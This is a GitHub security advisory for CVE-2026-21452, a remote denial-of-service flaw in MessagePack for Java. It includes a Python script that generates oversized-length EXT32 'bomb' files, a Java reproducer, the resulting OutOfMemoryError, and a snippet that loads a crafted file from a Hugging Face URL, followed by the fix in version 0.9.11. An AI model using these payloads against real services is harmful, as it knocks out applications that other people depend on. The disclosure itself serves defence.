GHSA-CW39-R4H6-8J3X
Vulnerability from github – Published: 2026-01-05 14:59 – Updated: 2026-01-05 14:59Summary
Affected Components:
org.msgpack.core.MessageUnpacker.readPayload()
org.msgpack.core.MessageUnpacker.unpackValue()
org.msgpack.value.ExtensionValue.getData()
A denial-of-service vulnerability exists in MessagePack for Java when deserializing .msgpack files containing EXT32 objects with attacker-controlled payload lengths. While MessagePack-Java parses extension headers lazily, it later trusts the declared EXT payload length when materializing the extension data. When ExtensionValue.getData() is invoked, the library attempts to allocate a byte array of the declared length without enforcing any upper bound. A malicious .msgpack file of only a few bytes can therefore trigger unbounded heap allocation, resulting in JVM heap exhaustion, process termination, or service unavailability. This vulnerability is triggered during model loading / deserialization, making it a model format vulnerability suitable for remote exploitation.
PoC
import msgpack
import struct
import os
OUTPUT_DIR = "bombs"
os.makedirs(OUTPUT_DIR, exist_ok=True)
# EXT format: fixext / ext8 / ext16 / ext32
# ext32 allows attacker-controlled length (uint32)
length = 1
step = 10_000_000
while True:
try:
# EXT32: 0xC9 | length (4 bytes) | type (1 byte)
header = b'\xC9' + struct.pack(">I", length) + b'\x01'
payload = b'A' # actual data tiny
data = header + payload
fname = f"{OUTPUT_DIR}/ext_length_{length}.msgpack"
with open(fname, "wb") as f:
f.write(data)
print(f"[+] Generated EXT bomb with declared length={length}")
length += step
except Exception as e:
print("[!] Stopped:", e)
break
Download dependency: curl -LO https://repo1.maven.org/maven2/org/msgpack/msgpack-core/0.9.8/msgpack-core-0.9.8.jar Java Reproducer
// Main.java
import org.msgpack.core.MessagePack;
import org.msgpack.core.MessageUnpacker;
import org.msgpack.value.ExtensionValue;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main {
public static void main(String[] args) throws Exception {
byte[] data = Files.readAllBytes(
Paths.get("ext_length_470000001.msgpack")
);
MessageUnpacker unpacker =
MessagePack.newDefaultUnpacker(data);
ExtensionValue ext =
unpacker.unpackValue().asExtensionValue();
// Vulnerability trigger:
byte[] payload = ext.getData();
System.out.println(payload.length);
}
}
Compile
javac -cp msgpack-core-0.9.8.jar Main.java
Run (with limited heap)
java -Xmx256m -cp .:msgpack-core-0.9.8.jar Main
Observed Result:
Exception in thread "main" java.lang.OutOfMemoryError: Java heap space
at org.msgpack.core.MessageUnpacker.readPayload(...)
at org.msgpack.core.MessageUnpacker.unpackValue(...)
var u = new java.net.URL("https://huggingface.co/Blackbloodhacker/msgpack/resolve/main/ext_length_470000001.msgpack");
var d = u.openStream().readAllBytes();
var up = org.msgpack.core.MessagePack.newDefaultUnpacker(d);
up.unpackValue().asExtensionValue().getData();
Run:
java -Xmx256m -cp .:msgpack-core-0.9.8.jar Main
A remotely hosted model file on Hugging Face can cause denial of service when loaded by a Java-based consumer.
Resolution
This issue is addressed in https://github.com/msgpack/msgpack-java/commit/daa2ea6b2f11f500e22c70a22f689f7a9debdeae by gradually allocating memory for large inputs, for both EXT32/BIN32 data types. This patch is released in msgpack-java 0.9.11 https://github.com/msgpack/msgpack-java/releases/tag/v0.9.11
Impact
This vulnerability enables a remote denial-of-service attack against applications that deserialize untrusted .msgpack model files using MessagePack for Java. A specially crafted but syntactically valid .msgpack file containing an EXT32 object with an attacker-controlled, excessively large payload length can trigger unbounded memory allocation during deserialization. When the model file is loaded, the library trusts the declared length metadata and attempts to allocate a byte array of that size, leading to rapid heap exhaustion, excessive garbage collection, or immediate JVM termination with an OutOfMemoryError. The attack requires no malformed bytes, user interaction, or elevated privileges and can be exploited remotely in real-world environments such as model registries, inference services, CI/CD pipelines, and cloud-based model hosting platforms that accept or fetch .msgpack artifacts. Because the malicious file is extremely small yet valid, it can bypass basic validation and scanning mechanisms, resulting in complete service unavailability and potential cascading failures in production systems.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.msgpack:msgpack-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-21452"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-05T14:59:12Z",
"nvd_published_at": "2026-01-02T21:16:03Z",
"severity": "HIGH"
},
"details": "### Summary\nAffected Components:\n```\norg.msgpack.core.MessageUnpacker.readPayload()\norg.msgpack.core.MessageUnpacker.unpackValue()\norg.msgpack.value.ExtensionValue.getData()\n```\nA denial-of-service vulnerability exists in MessagePack for Java when deserializing .msgpack files containing EXT32 objects with attacker-controlled payload lengths. While MessagePack-Java parses extension headers lazily, it later trusts the declared EXT payload length when materializing the extension data. When ExtensionValue.getData() is invoked, the library attempts to allocate a byte array of the declared length without enforcing any upper bound. A malicious .msgpack file of only a few bytes can therefore trigger unbounded heap allocation, resulting in JVM heap exhaustion, process termination, or service unavailability. This vulnerability is triggered during model loading / deserialization, making it a model format vulnerability suitable for remote exploitation.\n\n### PoC\n```\nimport msgpack\nimport struct\nimport os\n\nOUTPUT_DIR = \"bombs\"\nos.makedirs(OUTPUT_DIR, exist_ok=True)\n\n# EXT format: fixext / ext8 / ext16 / ext32\n# ext32 allows attacker-controlled length (uint32)\n\nlength = 1\nstep = 10_000_000\n\nwhile True:\n try:\n # EXT32: 0xC9 | length (4 bytes) | type (1 byte)\n header = b\u0027\\xC9\u0027 + struct.pack(\"\u003eI\", length) + b\u0027\\x01\u0027\n payload = b\u0027A\u0027 # actual data tiny\n\n data = header + payload\n\n fname = f\"{OUTPUT_DIR}/ext_length_{length}.msgpack\"\n with open(fname, \"wb\") as f:\n f.write(data)\n\n print(f\"[+] Generated EXT bomb with declared length={length}\")\n length += step\n\n except Exception as e:\n print(\"[!] Stopped:\", e)\n break\n```\nDownload dependency: curl -LO https://repo1.maven.org/maven2/org/msgpack/msgpack-core/0.9.8/msgpack-core-0.9.8.jar Java Reproducer\n```\n// Main.java\nimport org.msgpack.core.MessagePack;\nimport org.msgpack.core.MessageUnpacker;\nimport org.msgpack.value.ExtensionValue;\n\nimport java.nio.file.Files;\nimport java.nio.file.Paths;\n\npublic class Main {\n public static void main(String[] args) throws Exception {\n\n byte[] data = Files.readAllBytes(\n Paths.get(\"ext_length_470000001.msgpack\")\n );\n\n MessageUnpacker unpacker =\n MessagePack.newDefaultUnpacker(data);\n\n ExtensionValue ext =\n unpacker.unpackValue().asExtensionValue();\n\n // Vulnerability trigger:\n byte[] payload = ext.getData();\n\n System.out.println(payload.length);\n }\n}\n\n```\nCompile\n```\njavac -cp msgpack-core-0.9.8.jar Main.java\n```\nRun (with limited heap)\n```\njava -Xmx256m -cp .:msgpack-core-0.9.8.jar Main\n```\nObserved Result:\n```\nException in thread \"main\" java.lang.OutOfMemoryError: Java heap space\n at org.msgpack.core.MessageUnpacker.readPayload(...)\n at org.msgpack.core.MessageUnpacker.unpackValue(...)\n```\n```\nvar u = new java.net.URL(\"https://huggingface.co/Blackbloodhacker/msgpack/resolve/main/ext_length_470000001.msgpack\");\nvar d = u.openStream().readAllBytes();\nvar up = org.msgpack.core.MessagePack.newDefaultUnpacker(d);\nup.unpackValue().asExtensionValue().getData();\n```\nRun:\n```\njava -Xmx256m -cp .:msgpack-core-0.9.8.jar Main\n```\nA remotely hosted model file on Hugging Face can cause denial of service when loaded by a Java-based consumer.\n\n## Resolution \nThis issue is addressed in https://github.com/msgpack/msgpack-java/commit/daa2ea6b2f11f500e22c70a22f689f7a9debdeae by gradually allocating memory for large inputs, for both EXT32/BIN32 data types. This patch is released in msgpack-java 0.9.11 https://github.com/msgpack/msgpack-java/releases/tag/v0.9.11\n\n### Impact\nThis vulnerability enables a remote denial-of-service attack against applications that deserialize untrusted .msgpack model files using MessagePack for Java. A specially crafted but syntactically valid .msgpack file containing an EXT32 object with an attacker-controlled, excessively large payload length can trigger unbounded memory allocation during deserialization. When the model file is loaded, the library trusts the declared length metadata and attempts to allocate a byte array of that size, leading to rapid heap exhaustion, excessive garbage collection, or immediate JVM termination with an OutOfMemoryError. The attack requires no malformed bytes, user interaction, or elevated privileges and can be exploited remotely in real-world environments such as model registries, inference services, CI/CD pipelines, and cloud-based model hosting platforms that accept or fetch .msgpack artifacts. Because the malicious file is extremely small yet valid, it can bypass basic validation and scanning mechanisms, resulting in complete service unavailability and potential cascading failures in production systems.",
"id": "GHSA-cw39-r4h6-8j3x",
"modified": "2026-01-05T14:59:12Z",
"published": "2026-01-05T14:59:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/msgpack/msgpack-java/security/advisories/GHSA-cw39-r4h6-8j3x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21452"
},
{
"type": "WEB",
"url": "https://github.com/msgpack/msgpack-java/commit/daa2ea6b2f11f500e22c70a22f689f7a9debdeae"
},
{
"type": "PACKAGE",
"url": "https://github.com/msgpack/msgpack-java"
},
{
"type": "WEB",
"url": "https://github.com/msgpack/msgpack-java/releases/tag/v0.9.11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "MessagePack for Java Vulnerable to Remote DoS via Malicious EXT Payload Allocation"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.